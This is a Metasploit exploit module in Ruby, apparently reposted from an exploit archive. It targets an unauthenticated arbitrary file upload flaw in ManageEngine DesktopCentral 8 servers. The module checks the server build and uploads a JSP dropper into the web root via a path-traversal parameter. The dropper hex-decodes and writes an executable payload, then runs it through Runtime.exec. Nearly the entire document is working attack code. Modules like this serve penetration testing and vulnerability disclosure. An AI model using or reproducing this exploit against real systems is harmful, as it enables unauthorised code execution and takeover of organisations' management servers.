DesktopCentral AgentLogUpload – Arbitrary File Upload (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'DesktopCentral AgentLogUpload Arbitrary File Upload', 'Description' => %q{ This module exploits an arbitrary file upload vulnerability in DesktopCentral 8.0.0 below build 80293. A malicious user can upload a JSP file into the web root without authentication, leading to arbitrary code execution. }, 'Author' => [ 'Thomas Hibbert <thomas.hibbert[at]security-assessment.com>' # Vulnerability discovery and MSF module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf' ] ], 'Platform' => 'win', 'Arch' => ARCH_X86, 'Targets' => [ [ 'Manage Desktop Central 8 server / Windows', {} ] ], 'Privileged' => true, 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 11 2013' )) register_options([Opt::RPORT(8020)], self.class) end def upload_file(filename, contents) res = send_request_cgi({ 'uri' => normalize_uri("agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filename=#{filename}"), 'method' => 'POST', 'data' => contents, 'ctype' => "text/html" }) if res and res.code == 200 and res.body.to_s.empty? return true else return false end end def check res = send_request_cgi({ 'uri' => normalize_uri("configurations.do"), 'method' => 'GET' }) if res and res.code == 200 and res.body.to_s =~ /ManageEngine Desktop Central 8/ and res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ build = $1 print_status("Manage Desktop Central 8 build #{build} found") if build < "80293" return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end res = send_request_cgi({ 'uri' => normalize_uri("agentLogUploader"), 'method' => 'POST' }) if res and res.code == 200 return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit print_status("#{peer} - Uploading JSP to execute the payload") exe = payload.encoded_exe exe_filename = rand_text_alpha_lower(8) + ".exe" dropper = jsp_drop_and_execute(exe, exe_filename) dropper_filename = rand_text_alpha_lower(8) + ".jsp" if upload_file(dropper_filename, dropper) register_files_for_cleanup(exe_filename) register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{dropper_filename}") else fail_with(Exploit::Failure::Unknown, "#{peer} - JSP upload failed") end print_status("#{peer} - Executing payload") send_request_cgi( { 'uri' => normalize_uri(dropper_filename), 'method' => 'GET' }) end def jsp_drop_bin(bin_data, output_file) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| jspraw << %Q|int numbytes = data.length();\n| jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| jspraw << %Q|{\n| jspraw << %Q| char char1 = (char) data.charAt(counter);\n| jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| jspraw << %Q| comb <<= 4;\n| jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| jspraw << %Q| bytes[counter/2] = (byte)comb;\n| jspraw << %Q|}\n| jspraw << %Q|outputstream.write(bytes);\n| jspraw << %Q|outputstream.close();\n| jspraw << %Q|%>\n| jspraw end def jsp_execute_command(command) jspraw = %Q|\n| jspraw << %Q|<%\n| jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| jspraw << %Q|%>\n| jspraw end def jsp_drop_and_execute(bin_data, output_file) jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) end end |